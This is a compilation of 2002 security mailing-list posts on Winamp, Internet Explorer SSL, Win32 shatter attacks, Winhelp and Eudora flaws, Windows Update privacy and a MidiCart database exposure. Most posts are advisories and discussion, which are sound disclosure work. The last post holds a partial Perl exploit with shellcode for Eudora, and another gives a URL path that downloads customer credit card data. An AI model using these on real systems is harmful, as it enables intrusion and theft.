Re: CSS bug in Winamp
--- DownBload <[EMAIL PROTECTED]> wrote: > > > [ Illegal Instruction Security Research Labs > Advisory ] > [] > Advisory name: CSS bug in Winamp > Advisory number: 8 > Application: Winamp > Vendor: Nullsoft > WEB: www.winamp.com > Tested on: Winamp 2.76 and 2.79 (Windows 98) > Impact: CSS execution during generation of html > playlist > Discovered by: DownBload > Mail me @: [EMAIL PROTECTED] > > > > > --[ Overview > Winamp is (as we all know) the most popular mp3 > player. > > > > > --[ Problem > ID3v2 tag in mp3 file contains some information > about mp3 file (artist, > title, album, commet, etc.). Winamp supports > creation of html playlist > from winamp playlist. > During generation process in html file is written > only 'artist' > and 'title' section of ID3v2 tag. > In 'artist' and 'title' section, we can put > arbitrary CSS code, which will > be executed when html playlist will be generated, > and shown with default > web browser. > > > > > --[ Example > Open 'view file info' on some mp3 file (read only > flag on that file must > be removed), and edit ID3v2 tag. Put some text in > 'artist' section (if you > wanna fool somebody, it is the best to write the > name of the artist and > song name in 'artist' section. After that put some > blank space characters > (around 100) and . after that), and CSS code which > will be executed > in 'title' section. For testing purpose, in 'title' > section, you can put: > -cut here- > > -cut here- > You can put some blank space (in 'title' section) > before CSS code too. > After that generate html file from playlist, and you > will see msgbox, with > text HI!!! > > > > --[ GREETZ > Goes to Illegal Instruction Labs (Boyscout, h4z4rd, > Sunnis, Styx), > www.active-security.org, finis, Fr1c, harlequin, > st0rm, phreax, all of > #hr.hackers . > Thanks to dr_cr@zy for providing me with hardware > support, when my computer > is on vacation :). > Very special greetz go to |<4r0l1n4. > I'm very sorry if I forgot someone... This appears to be corrected in Winamp 2.80, as i was unable to get the exploit functional. - Chris ([EMAIL PROTECTED]) http://linux.box.sk/ http://blacksun.box.sk/ __ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com
Re: IE SSL Vulnerability
On Thu, Aug 08, 2002 at 01:38:46PM +0200, Balazs Scheidler wrote: > On Mon, Aug 05, 2002 at 04:03:29PM -0700, Mike Benham wrote: > > > However, there is a slightly more complicated scenario. Sometimes it is > > convenient to delegate signing authority to more localized authorities. > > In this case, the administrator of www.thoughtcrime.org would get a chain > > of certificates from the localized authority: > > > > [Issuer: VeriSign / Subject: VeriSign] > > -> [Issuer: VeriSign / Subject: Intermediate CA] > >-> [Issuer: Intermediate CA / Subject: www.thoughtcrime.org] > > > > When a web browser receives this, it should verify that the CN field of > > the leaf certificate matches the domain it just connected to, that it's > > signed by the intermediate CA, and that the intermediate CA is signed by a > > known CA certificate. Finally, the web browser should also check that all > > intermediate certificates have valid CA Basic Constraints. > > > > You guessed it, Internet Explorer does not check the Basic Constraints. > > As OpenSSL's default verify callback does not check basic constraints, > clients that utilize openssl as backend, and verify server certificates can > be affected too. > > w3m for example does no basic constraints checking on its own, and neither > does lynx. > > As I see the curl library does no basic constraints checking, so anything > that uses curl to fetch https urls are affected too. > > As a final example, stunnel does not check basic constraints either. The > latter is usually using self generated certificates, so the impact is not > that severe. > > An untested (but compiling) code fragment which checks basicConstraints.ca > field is below (it is to be insterted into the SSL verify_callback): Update: I was wrong claiming openssl does not check basic constraints by default. I was looking at the wrong code, it is implemented in crypto/x509v3 where purpose checking is implemented. So programs using openssl are safe. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1
Re: IE SSL Vulnerability
I agree, this is really, really serious. If this is correct, I believe it is one of the most serious vulnerabilities reported in a long time. People trust SSL to protect their money, and this is a vulnerability where you could easily attack thousands of users or go after the banks with a simple man-in-the-middle attack. I have feared a certificate chain vulnerability for some time now. This one certainly has the potential to hurt a lot of the little guys if someone would decide to steal their money. I wonder what the legal implications would be. I suppose, as the bug is in the client software, the banks might be safe from a legal standpoint, even though they have designed the poor security infrastructure they are using. If client certificates were used for authentication, this bug would be far less severe. It is a bit sad that this was reported without letting Microsoft know about it first, although I am not sure what they could have done had they known. To get millions and millions of end users to path their browsers is quite a task, even for Microsoft. Does this bug apply only to IE 5, 5.5 and 6 and not to earlier browsers? Is it a bug in the browser or is it a bug in CryptoAPI? Is client certificate authentication in IIS vulnerable to the same attack? Best regards, Torbjörn Hovmark __ Abtrusion Security AB http://www.abtrusion.com - Original Message - From: "Mike Benham" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, August 06, 2002 1:03 AM Subject: IE SSL Vulnerability > > > Internet Explorer SSL Vulnerability 08/05/02 > Mike Benham <[EMAIL PROTECTED]> > http://www.thoughtcrime.org > > > Abstract > > Internet Explorer's implementation of SSL contains a vulnerability that > allows for an active, undetected, man in the middle attack. No dialogs > are shown, no warnings are given. > > [...]
RE: Windows 2000 Service Pack 3 now available.
Here's what I did to make myself feel better. 1. Downloaded the full SP3.exe. 2. Disabled my network adapter 3. Ran the SP3 update 4. Rebooted. 5. Disabled Automatic Updates 6. Re-enabled the network adapter However, this won't accomplish much if you use the WindowsUdate site, as both the website and the Auto-update client will both transmit the same information. As some consolation, the following text is also provided by Microsoft: "Because Windows Update does not collect personally identifiable information, the configuration information and GUID cannot be used to identify you. " I must agree with Darren Reeds comments - SP2 was the last "free" Service Pack. Microsoft has crossed the point of no return, and it would be naive to believe that they are alone. Other vendors will follow. Bruce Schneier crystalized the point one or two Blackhats ago when he stated that people believe that, because its computer related, somehow its magically different than the real world. This, not only applies to security, but it also applies to our privacy. We tolerate these voilations of our privacy, when we install software, surf the web, etc. Most of the time without giving it a great deal of thought or concern. Beacuse its cyberspace? Who do you think runs those systems? People. I don't have any answers but I ask that we all stay vigilant. Javier I. Sanchez -Original Message- From: Nick FitzGerald [mailto:[EMAIL PROTECTED]] Sent: Thursday, August 01, 2002 7:44 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: RE: Windows 2000 Service Pack 3 now available. Colin Stefani <[EMAIL PROTECTED]> wrote: > Be sure to read the new EULA/privacy statement for Windows update, it has an > interesting portion about how Windows Update and Automatic Update (which > gets installed with SP3) can, by agreeing to this license, send the > following pieces of info to Microsoft, this was posted on the MS focus list > by Javier Sanchez: > > "With the latest version of Windows Update (essentially a mandatory download > and now part of SP3) you consent to sending the following information to > Microsoft: > > * Operating-system version number and Product Identification number > * Internet Explorer version number > * Version numbers of other software > * Plug and Play ID numbers of hardware devices This adds further irony to the blurb about enabling scripting and ActiveX, should you visit those pages with (a browser masquerading as) IE with no scripting nor ActiveX support: If you are on a Web site that you trust (in this case, Windows Update), and the ActiveX Control is provided by a publisher you trust (in this case, Microsoft), it is safe to click Yes in the dialog box to accept the certificate and allow the control to be installed. Seems MS is attempting to redefine "trustworthy" how it once tried to redefine "open" (who else remembers the early NT launches??). It seems the option "trust MS enough to run its software but not with any possibly identifying information" falls outside the gambit of "trustworthy" in MS-think! I hope they point this out _in advance of taking their money_ to all future potential customers... -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3529854
Re: IE SSL Vulnerability
On Mon, Aug 05, 2002 at 04:03:29PM -0700, Mike Benham wrote:
> However, there is a slightly more complicated scenario. Sometimes it is
> convenient to delegate signing authority to more localized authorities.
> In this case, the administrator of www.thoughtcrime.org would get a chain
> of certificates from the localized authority:
>
> [Issuer: VeriSign / Subject: VeriSign]
> -> [Issuer: VeriSign / Subject: Intermediate CA]
>-> [Issuer: Intermediate CA / Subject: www.thoughtcrime.org]
>
> When a web browser receives this, it should verify that the CN field of
> the leaf certificate matches the domain it just connected to, that it's
> signed by the intermediate CA, and that the intermediate CA is signed by a
> known CA certificate. Finally, the web browser should also check that all
> intermediate certificates have valid CA Basic Constraints.
>
> You guessed it, Internet Explorer does not check the Basic Constraints.
As OpenSSL's default verify callback does not check basic constraints,
clients that utilize openssl as backend, and verify server certificates can
be affected too.
w3m for example does no basic constraints checking on its own, and neither
does lynx.
As I see the curl library does no basic constraints checking, so anything
that uses curl to fetch https urls are affected too.
As a final example, stunnel does not check basic constraints either. The
latter is usually using self generated certificates, so the impact is not
that severe.
An untested (but compiling) code fragment which checks basicConstraints.ca
field is below (it is to be insterted into the SSL verify_callback):
- ctx is the X509_STORE_CTX as passed to the verify callback
- xs is the X509 certificate to be verified (the callback is called for
every certificate in chain)
if (ok)
{
X509_OBJECT obj;
int bconstraints;
BASIC_CONSTRAINTS *bc;
int rc;
/* check whether issuer is a CA */
rc = X509_STORE_get_by_subject(ctx, X509_LU_X509, X509_get_issuer_name(xs),
&obj);
if (rc > 0 && obj.data.x509)
{
bconstraints = X509_get_ext_by_NID(obj.data.x509, NID_basic_constraints, -1);
if (bconstraints >= 0)
{
/* basic constraints found */
bc = X509V3_EXT_d2i(X509_get_ext(xs, bconstraints));
}
else
{
bc = NULL;
}
if (!bc)
{
printf("X509 extension basicConstraints missing from issuer;
subject='%s', issuer='%s'", subject_name, issuer_name);
ok = FALSE;
errnum = X509_V_ERR_INVALID_CA;
}
else if (!bc->ca)
{
printf("CA certificate with basicConstraints.ca == FALSE; subject='%s',
issuer='%s'", subject_name, issuer_name);
ok = FALSE;
errnum = X509_V_ERR_INVALID_CA;
}
}
}
--
Bazsi
PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1
RE: White paper: Exploiting the Win32 API.
> So let me get this straight. > > Allowing unpriveleged processes to send control messages to priveleged > processes is not a flaw in the Win32 API because there is a mechanism > for applications to protect themselves from this type of attack > (alternate Windows Stations/Desktops). > > But the mechanism effectively prevents the priveleged processes from > providing a GUI because the user won't be able to actually see the > alternate Windows Stations/Desktops without some kind of Station > switching tool, and/or extra training in how to do this. > > So, the result is that no applications actually use this mechanism. > > What part of "this is broken" doesn't make sense? Well, there is a Right Way of controlling privileged processes from the user's desktop. Simply banging a window up on the desktop is not the Right Way. There should be a separate UI/management tool which runs under the user's credentials on his desktop and uses some IPC mechanism to control the privileged process (RPC, DCOM, named pipes, tcp sockets, whatever). This IPC interface is the security boundary. To make an analogy in the Unix world, it would be like a deamon running as root opening an xterm on the users desktop to manage it. Nobody would say "X is broken" in this case - I think we'd all agree that the app is broken. Later, Kenn
CodeCon 2003 Call for Papers
CodeCon 2.0 February 2003, San Francisco CA, USA www.codecon.info Call For Papers CodeCon is the premier showcase of active hacker projects. It is an excellent opportunity for developers to demonstrate their work, and for coding hackers to find out about what's going on in their community. All presentations must be accompanied by functional applications, ideally open source. Presenters must be one of the active developers of the code in question. We emphasize that demonstrations be of *working* code, and reproducible by other people. Throughout the event, we will have several kiosks and local servers available for demonstration purposes. CodeCon strongly encourages presenters from non-commercial and academic backgrounds to attend for the purposes of collaboration and the sharing of knowledge by providing free registration to workshop presenters and discounted registration to full-time students. We hereby solicit papers and demonstrations. * Papers and proposals due: December 1, 2002 * Authors notified: December 15, 2002 * Demonstration materials due: January 15, 2003 The focus of CodeCon is on working applications which: * enhance individual power and liberty * can be discussed freely, either by virtue of being open source or having a published protocol, and preferably free of intellectual property restrictions * are generally useful, either directly to a large number of users, or as an example of technology applicable to a larger audience * demonstrate novelty in technical approaches, security assumptions, and end-user functionality Possible topics include, but are by no means restricted to: * development tools - languages, debuggers, version control * file sharing systems - swarming distribution, distributed search * community-based web sites - forums, weblogs, personals * security products - mail encryption, intrusion detection, firewalls Presentations will be a 45 minutes long, with 15 minutes allocated for Q&A. Overruns will be truncated. Submission details: Submissions are being accepted immediately. Acceptance dates are September 1, November 1, and December 1. On each acceptance date, submissions will be either accepted, rejected, or deferred to the next acceptance date. The conference language is English. All submissions should be accompanied by source code or an application. When possible, we would prefer that the application be available for interactive use during the workshop, either on a presenter-provided demonstration machine or one of the conference kiosks. Ideally, demonstrations should be usable by attendees with 802.11b connected devices either via a web interface, or locally on Windows, UNIX-like, or MacOS platforms. Cross-platform applications are most desirable. Our venue may be 21+. If you are submitting and are under 21, please advise the program committee; we may consider alternate venues for one or more days of the event. If you have a specific day on which you would prefer to present, please advise us. To submit, send mail to [EMAIL PROTECTED] including the following information: * Project name * url of project home page * tagline - one sentence or less summing up what the project does * names of presenter(s) and urls of their home pages, if they have any * one-paragraph bios of presenters (optional) * project history, no more than a few sentences * what will be done in the project demo * major achievement(s) so far * claim(s) to fame, if any * future plans Conference Producers and co-chairs: Bram Cohen, Len Sassaman Program Committee: * Tina Bird, Counterpane * Bram Cohen, BitTorrent * Roger Dingledine, The Freehaven Project * Jered Floyd, Permabit * Paul Holman, The Shmoo Group * Ben Laurie, The Apache Foundation * Don Marti, Linux Journal * Jordan Ritter, Cloudmark * Len Sassaman, Nomen Abditum Services * Rodney Thayer, The Tillerman Group * Jamie Zawinski, DNA Lounge Sponsorship: If your organization is interested in sponsoring CodeCon, we would love to hear from you. In particular, we are looking for sponsors for social meals and parties on any of the three days of the conference, as well as sponsors of the conference as a whole, prizes or awards for quality presentations, scholarships for qualified applicants, and assistance with transportation or accommodation for presenters with limited resources. If you might be interested in sponsoring any of these aspects, please contact the conference organizers at [EMAIL PROTECTED] Press policy: CodeCon strives to be a conference for developers, with strong audience participation. As such, we need to limit the number of complimentary passes non-developer attendees. Press passes are limited to one pass per publication, and must be approved prior to the registration deadline (to be announced later). If you are a member of the press, and interested in covering CodeCon, please contact us ear
RE: Winhelp32 Remote Buffer Overrun
Running this on my local file fuzzer, Litchfield's begins to hit exceptions at 200 increments. (At a blank value it gives a memory error). At 216 increments (and at least for awhile, above) it overwrites EIP with 41414141. (Windows 2000 Service Pack 2). Testing Jelmer's as it was written below I ran to 10,000 increments and did not find an issue. Testing to 10,000 with .TIF as the extension did not find an issue. Testing these same case tests with using the method HHClick() as in Litchfield's does not give an issue. It may have been with another method, or perhaps some interaction with the webpage. It may be the characters used to bruteforce it. Perhaps, they were unicode (which I could test, as well as anything else). > -Original Message- > From: Mark Litchfield [mailto:[EMAIL PROTECTED]] > Sent: Tuesday, August 06, 2002 12:24 PM > To: Jelmer; [EMAIL PROTECTED] > Subject: Re: Winhelp32 Remote Buffer Overrun > > > If I am not mistaken, I believe that Microsoft are aware of > this issue and have an IE patch comming out very shortly. My > brother reported this to them, please see > http://www.nextgenss.com/vna/ms-whelp.txt > > Regards > > Cheers, > > > Mark Litchfield > > - Original Message - > From: "Jelmer" <[EMAIL PROTECTED]> > To: "Next Generation Insight Security Research Team" > <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; > <[EMAIL PROTECTED]> > Sent: Thursday, August 01, 2002 5:19 PM > Subject: Re: Winhelp32 Remote Buffer Overrun > > > > I just installed servicepack 3 and the following code still > crashed my > > my IE6 with a memory could not be refferenced error. > > > > > CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> > > > > > > > > > > > > > > > > I have been told this means it is most likely exploitable. I am not > > into buffer overflows myself though, maybe someone can > confirm this. > > Anyways I notified microsoft of this several months ago. > The day after > > I notified > them > > someone pointed me to the ngssoftware advisory *sob*, and I > notified > > microsoft that this was probably the same issue, last I heard from > > them > they > > where looking in to if this was indeed the case. It's been several > > months and as far as I know they are still looking. > > > > -- > > jelmer > > > > - Original Message - > > From: "Next Generation Insight Security Research Team" > > <[EMAIL PROTECTED]> > > To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> > > Sent: Friday, August 02, 2002 3:59 AM > > Subject: Winhelp32 Remote Buffer Overrun > > > > > > > -BEGIN PGP SIGNED MESSAGE- > > > Hash: SHA1 > > > > > > NGSSoftware Insight Security Research Advisory > > > > > > Name:Winhlp32.exe Remote BufferOverrun > > > Systems Affected: Win2K Platform > > > Severity: Critical > > > Category: Remote Buffer Overrun > > > Vendor URL: http://www.mircosoft.com > > > Author: Mark Litchfield ([EMAIL PROTECTED]) > > > Date: 1st August 2002 > > > Advisory number: #NISR01082002 > > > > > > > > > Description > > > *** > > > > > > Many of the features available in HTML Help are > implemented through > > > the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX > > > control is used to provide navigation features (such as a > table of > > > contents), to display secondary windows and pop-up > definitions, and > > > to provide other features. The HTML Help ActiveX control > can be used > > > from topics in a compiled Help system as well as from HTML pages > > > displayed in a Web browser. The functionality provided by > the HTML > > > Help ActiveX control will run in the HTML Help Viewer or in any > > > browser that supports ActiveX technology, such as > Internet Explorer > > > (version 3.01 or later). Some features, as with the > WinHlp Command, > > > provided by the HTML Help ActiveX control are meant to be > available > > > only when it is used from a compiled HTML Help file > (.chm) that is > > > displayed by using the HTML Help Viewer. > > > > > > Details > > > *** > > > > > > Winhlp32.exe is vulnerable to a bufferoverrun attack > using the Item > > > parameter within WinHlp Command, the item parameter is used to > > > specify the file path of the WinHelp (.hlp) file in which the > > > WinHelp topic is stored, and the window name of the > target window. > > > Using this overrun, an attacker can successfully exectute > arbitary > > > code on a remote system by either encouraging the victim > to visit a > > > particular web page, whereby code would execute > automatically, or by > > > including the exploit within the source of an email. In > regards to > > > email, execution would automatically occur when the mail > appears in > > > the preview pane and ActiveX objects are allowed (This is > allowed by > > > default, the Internet Security Settings would have to be > set as HIGH > > > to prevent execution of this vulnerability
RE: White paper: Exploiting the Win32 API.
I am aware of a Microsoft application that has made such a mistake. http://www.atstake.com/research/advisories/2000/a090700-1.txt is an example of one. In fact you would be surprised at the number of services vulnerable to these types of attacks. From personal firewalls, to anti-virus and so on. priv. escalation through windows message attacks is nothing new. back when i was in rhino9, 4 or so years ago, we were performing similar attacks to do priv. escalation from IUSR to SYSTEM. out of box the way windows messaging works i think is flawed... yes there are things you can do to protect from most of these attacks. however windows should install out of box with these attacks in mind... secure by default and all that jazz ;-) there is a lot that can be done at the OS level to protect from programmers who do not know any better. I know Microsoft keeps saying they will be secure by default... however I doubt we will see that anytime soon. especially for lower level stuff like this. Besides... its next to impossible to keep a local user from getting SYSTEM. There are just to many ways to do it. From service exploitation, to windows api's, to core flaws within windows architecture. any OS where locally you can input a chunk of data to some graphic routines, as an unprivileged user, and then b00m be executing code within the kernel... you cant trust that OS for local privilege separation of users and such. makes you wonder if you can even trust it in remote scenarios. :-o Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities -Original Message- From: John Howie [mailto:[EMAIL PROTECTED]] Sent: Tuesday, August 06, 2002 10:44 AM To: Chris Paget; [EMAIL PROTECTED] Subject: RE: White paper: Exploiting the Win32 API. Chris, This class of attack is not new, it has been discussed before. While you can assert that the blame lies with Microsoft (and I'll admit they do have some responsibility to address the problem you describe) the chief blame lies with the vendor of the software whose bad programming you are exploiting. There is no excuse to put a window for a process with the LocalSystem security context on a user's desktop. I am not aware of any Microsoft application that makes such a mistake. John Howie -Original Message- From: Chris Paget [mailto:[EMAIL PROTECTED]] Sent: Tuesday, August 06, 2002 9:14 AM To: [EMAIL PROTECTED] Subject: White paper: Exploiting the Win32 API. I have written a white paper documenting what I believe is the first public example of a new class of attacks against the Win32 API. This particular attack exploits major design flaws in the Win32 API in order for a local user to escalate their privileges, either from the console of a system or on a Terminal Services link. The paper is available at http://security.tombom.co.uk/shatter.html In order to pre-empt some of the inevitable storm about responsible disclosure, let me point out the following. 1) The Win32 API has been in existence since the days of Windows NT3.1, back in July 1993. These vulnerabilities have been present since then. 2) Microsoft have known about these vulnerabilities for some time. This research was sparked by comments by Jim Allchin talking under oath at the Microsoft / DoJ trial some 3 months ago. http://www.eweek.com/article2/0,3959,5264,00.asp Given the age of the Win32 API, I would be highly surprised if they have not known about these attacks for considerably longer. 3) Microsoft cannot fix these vulnerabilities. These are inherent flaws in the design and operation of the Win32 API. This is not a bug that can be fixed with a patch. 4) The white paper documents one example of these class of flaws. They have been discussed before on Bugtraq, however to my knowledge there have been no public working exploits. I have just documented one way to get this thing working. 5) This is not a bug. This is a new class of vulnerabilities, like a buffer overflow attack or a format string attack. As such, there is no specific vendor to inform, since it affects every software maker who writes products for the Windows platform. A co-ordinated release with every software vendor on the planet is impossible. Chris -- Chris Paget [EMAIL PROTECTED]
MidiCart Shopping Cart Software database vulnerability
Summary MIDICART is s an ASP and PHP based shopping Cart application with MS Access and SQL database. A security vulnerability in the product allows remote attackers to download the product's database, thus gain access to sensitive information about users of the product (name, surname, address, e-mail, phone number, credit card number, and company name). Example: Accessing the following URL will return the database used by the product: http://someshope.com/shoppingdirectory/midicart.mdb Additional information The information has been provided by Dimitri Sekhniashvili (CONTRABANDA) E-mail: [EMAIL PROTECTED]
Re: White paper: Exploiting the Win32 API.
I believe nothing new it that issue. WM_TIMER tricks were described by Matt Pietrek in 1997, in Microsoft's MSJ http://www.microsoft.com/msj/defaultframe.asp?page=/msj/0397/hood/hood0397.htm&nav=/msj/0397/newnav.htm (sample included) So it was noted already at least 5 years before Jim Allchin. There is also well known trick with SetWindowsHookEx function (exploit sample http://www.uinc.ru/scripts/load.cgi?articles/19/InjectDLL.zip by buLLet) and so forth. There is also article of Symeon Xenitellis "A New Avenue of Attack: Event-driven system vulnerabilities" http://www.isg.rhul.ac.uk/~simos/event_demo/ So it's strange that issue looks new for somebody, especially experts. Best regards, Andreymailto:[EMAIL PROTECTED] CP> I have written a white paper documenting what I believe is the first CP> public example of a new class of attacks against the Win32 API. This CP> particular attack exploits major design flaws in the Win32 API in CP> order for a local user to escalate their privileges, either from the CP> console of a system or on a Terminal Services link. The paper is CP> available at http://security.tombom.co.uk/shatter.html CP> In order to pre-empt some of the inevitable storm about responsible CP> disclosure, let me point out the following. CP> 1) The Win32 API has been in existence since the days of Windows CP> NT3.1, back in July 1993. These vulnerabilities have been present CP> since then. CP> 2) Microsoft have known about these vulnerabilities for some time. CP> This research was sparked by comments by Jim Allchin talking under CP> oath at the Microsoft / DoJ trial some 3 months ago. CP> http://www.eweek.com/article2/0,3959,5264,00.asp Given the age of the CP> Win32 API, I would be highly surprised if they have not known about CP> these attacks for considerably longer. CP> 3) Microsoft cannot fix these vulnerabilities. These are inherent CP> flaws in the design and operation of the Win32 API. This is not a bug CP> that can be fixed with a patch. CP> 4) The white paper documents one example of these class of flaws. CP> They have been discussed before on Bugtraq, however to my knowledge CP> there have been no public working exploits. I have just documented CP> one way to get this thing working. CP> 5) This is not a bug. This is a new class of vulnerabilities, like a CP> buffer overflow attack or a format string attack. As such, there is CP> no specific vendor to inform, since it affects every software maker CP> who writes products for the Windows platform. A co-ordinated release CP> with every software vendor on the planet is impossible. CP> Chris
Re: IE SSL Vulnerability
On Wed, Aug 07, 2002 at 12:24:19PM -0700, Mike Benham wrote: > First of all, https://www.thoughtcrime.org is NOT the demo site. Several > people were confused by this email, and subsequently concluded that their > browser isn't vulnerable because they got an alert that the "name on the > certificate is invalid." If you would like to see a demo of this > vulnerability, please email me offline. By the way, I've performed full man-in-the-middle with a real bank involved and myselft as victim. It's easy and works perfectly, so I've put a brief description and screenshots at http://arch.ipsec.pl/inteligo.html Details on programs' setup and fake certificate generation are omitted not to provide script-kiddies with a ready recipe. Actually, you can use Mike's https://www.thoughtcrime.org/ as demo site but you first need to DNS spoof your browser into thinking that www.amazon.com has address of 66.93.78.63, which is easy using dnsspoof from dsniff for example. -- Paweł Krawczyk, Kraków, Poland http://echelon.pl/kravietz/ crypto: http://ipsec.pl/ horses: http://kabardians.com/
RE: Winhelp32 Remote Buffer Overrun
Correction, closing out of the app brings up an error where the memory read is controlled at 4141414d (EIP is elsewhere), so it appears to be a different type of crash by behavior entirely... but exploitable. Would need to stick a debugger on it and mess around to narrow it down. > -Original Message- > From: Drew [mailto:[EMAIL PROTECTED]] > Sent: Tuesday, August 06, 2002 7:31 PM > To: 'Mark Litchfield'; 'Jelmer'; '[EMAIL PROTECTED]' > Subject: RE: Winhelp32 Remote Buffer Overrun > > > Running this on my local file fuzzer, Litchfield's begins to > hit exceptions at > 200 increments. (At a blank value it gives a memory error). > > At 216 increments (and at least for awhile, above) it > overwrites EIP with > 41414141. (Windows 2000 Service Pack 2). > > Testing Jelmer's as it was written below I ran to 10,000 > increments and did not find an issue. Testing to 10,000 with > .TIF as the extension did not find an issue. Testing these > same case tests with using the method > HHClick() as in Litchfield's does not give an issue. > > It may have been with another method, or perhaps some > interaction with the webpage. It may be the characters used > to bruteforce it. Perhaps, they were unicode (which I could > test, as well as anything else). > > > > > -Original Message- > > From: Mark Litchfield [mailto:[EMAIL PROTECTED]] > > Sent: Tuesday, August 06, 2002 12:24 PM > > To: Jelmer; [EMAIL PROTECTED] > > Subject: Re: Winhelp32 Remote Buffer Overrun > > > > > > If I am not mistaken, I believe that Microsoft are aware of > > this issue and have an IE patch comming out very shortly. My > > brother reported this to them, please see > > http://www.nextgenss.com/vna/ms-whelp.txt > > > > Regards > > > > Cheers, > > > > > > Mark Litchfield > > > > - Original Message - > > From: "Jelmer" <[EMAIL PROTECTED]> > > To: "Next Generation Insight Security Research Team" > > <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; > > <[EMAIL PROTECTED]> > > Sent: Thursday, August 01, 2002 5:19 PM > > Subject: Re: Winhelp32 Remote Buffer Overrun > > > > > > > I just installed servicepack 3 and the following code still > > crashed my > > > my IE6 with a memory could not be refferenced error. > > > > > > > > CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> > > > > > > > > > > > > > > > > > > > > > > > > > I have been told this means it is most likely > exploitable. I am not > > > into buffer overflows myself though, maybe someone can > > confirm this. > > > Anyways I notified microsoft of this several months ago. > > The day after > > > I notified > > them > > > someone pointed me to the ngssoftware advisory *sob*, and I > > notified > > > microsoft that this was probably the same issue, last I heard from > > > them > > they > > > where looking in to if this was indeed the case. It's been several > > > months and as far as I know they are still looking. > > > > > > -- > > > jelmer > > > > > > - Original Message - > > > From: "Next Generation Insight Security Research Team" > > > <[EMAIL PROTECTED]> > > > To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> > > > Sent: Friday, August 02, 2002 3:59 AM > > > Subject: Winhelp32 Remote Buffer Overrun > > > > > > > > > > -BEGIN PGP SIGNED MESSAGE- > > > > Hash: SHA1 > > > > > > > > NGSSoftware Insight Security Research Advisory > > > > > > > > Name:Winhlp32.exe Remote BufferOverrun > > > > Systems Affected: Win2K Platform > > > > Severity: Critical > > > > Category: Remote Buffer Overrun > > > > Vendor URL: http://www.mircosoft.com > > > > Author: Mark Litchfield ([EMAIL PROTECTED]) > > > > Date: 1st August 2002 > > > > Advisory number: #NISR01082002 > > > > > > > > > > > > Description > > > > *** > > > > > > > > Many of the features available in HTML Help are > > implemented through > > > > the HTML Help ActiveX control (HHCtrl.ocx). The HTML > Help ActiveX > > > > control is used to provide navigation features (such as a > > table of > > > > contents), to display secondary windows and pop-up > > definitions, and > > > > to provide other features. The HTML Help ActiveX control > > can be used > > > > from topics in a compiled Help system as well as from HTML pages > > > > displayed in a Web browser. The functionality provided by > > the HTML > > > > Help ActiveX control will run in the HTML Help Viewer or in any > > > > browser that supports ActiveX technology, such as > > Internet Explorer > > > > (version 3.01 or later). Some features, as with the > > WinHlp Command, > > > > provided by the HTML Help ActiveX control are meant to be > > available > > > > only when it is used from a compiled HTML Help file > > (.chm) that is > > > > displayed by using the HTML Help Viewer. > > > > > > > > Details > > > > *** > > > > > > > > Winhlp32.exe is vulnerable to a bufferoverrun attack > > using the Item > > > > parameter within WinHlp Command, the item paramet
Re: IE SSL Vulnerability
In-Reply-To: <[EMAIL PROTECTED]> Mike, I have checked out your sample exploit, and I can confirm that my IE 5 is vulnerable. Regarding the post by Alex Loots, the certificate is a regular server certificate, not an intermediate CA with name constraints (if I have understood his message correctly) and the error certainly is in the client software and not anywhere else. Is the error in the browser itself or is it in CryptoAPI? What about earlier versions of IE - are they vulnerable too. Are other Microsoft products that do certificate chain validation, such as IIS, vulnerable? I agree that this is very, very serious, as it can easily be exploited against a large number of people at the same time, with very little risk of detection. There is not much that can be done to remedy the problem on the server side. A partial remedy would be to demand client certificates, but in most cases that requires completely changing the security infrastructure. SSL is used to protect most Internet banks. If SSL (or rather the IE implementation of SSL) can be broken this easily, it is very worrying indeed. Best regards / Torbjörn Hovmark __ Abtrusion Security AB http://www.abtrusion.com
Re: [SNS Advisory No.55] Eudora 5.x for Windows Buffer Overflow Vulnerability
Hi Steven. > Likewise, when is the exploit triggered on Japanese Windows 2000 Pro? Exploit triggered when the message is received and listed in the "IN MailBox". Please try this code. It is a exploit code for Eudora 5.1.1 on Japanese win2k pro SP2. If you use English win2k, pls modify the line 44 $buf .= $jmp_ebx_jp; to $buf .= $jmp_ebx_en; and test it. Sorry for my poor English. #!/usr/local/bin/perl #-- # Eudora Version 5.1.1 Sponsored Mode exploit # for Japanese Windows 2000 Pro (SP2) # written by Kanatoko <[EMAIL PROTECTED]> # http://www.jumperz.net/ #-- use Socket; #0x77e3ac97 JMP EBX ( Japanese SP2 ) $jmp_ebx_jp = "\x97\xAC\xE3\x77"; #0x77e2492b JMP EBX ( English SP2 ) $jmp_ebx_en = "\x2B\x49\xE2\x77"; $connect_host = 'mail.jumperz.net'; $port = 25; $env_from = '[EMAIL PROTECTED]'; $env_to = '[EMAIL PROTECTED]'; $from = '[EMAIL PROTECTED]'; $to = '[EMAIL PROTECTED]'; $iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n"; $sock_addr = pack_sockaddr_in($port,$iaddr); socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n"; connect(SOCKET,$sock_addr) || die "Connect Error\n"; select(SOCKET); $|=1; select(STDOUT); #egg written by UNYUN (http://www.shadowpenguin.org/) #57bytes $egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2"; $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7"; $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C"; $egg .= 